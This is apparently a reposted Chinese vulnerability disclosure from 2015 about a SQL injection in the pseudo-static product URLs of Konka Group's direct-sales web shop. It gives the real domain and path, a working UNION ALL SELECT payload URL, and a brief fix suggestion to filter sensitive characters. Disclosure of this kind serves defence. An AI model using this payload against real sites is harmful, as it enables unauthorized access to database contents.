康佳集团直销商城伪静态sql注入 - 网站安全

康佳集团直销商城伪静态sql注入 - 网站安全 - 自

来源：自学PHP网时间：2015-04-17 10:15 作者：阅读:次

[导读] 存在伪静态注入，能够获取数据库信息。http://www.led-konka.com/pro_cat/55.shtml存在伪静态sql注入在/pro_cat/55后可以直接写入注入语句，并返回数据库处理结果http://www.led-konka.com/pro_cat/55%20UNIO...

存在伪静态注入，能够获取数据库信息。

http://www.led-konka.com/pro_cat/55.shtml

存在伪静态sql注入

在/pro_cat/55后可以直接写入注入语句，并返回数据库处理结果

http://www.led-konka.com/pro_cat/55%20UNION%20ALL%20SELECT%20NULL,NULL,CONCAT(0x716b777a71,0x567841674e76744a4149,0x7174716a71),NULL,NULL,NULL--%20.shtml

修复方案：

过滤敏感字符，或者禁止注入语句的写入。

易想购物某处SQL注入 - 网站安全 - 自学php

SKCMS上传漏洞 - 网站安全 - 自学php

子栏目

康佳集团直销商城伪静态sql注入 - 网站安全 - 自

最新评论

添加评论

更多文章推荐

添加评论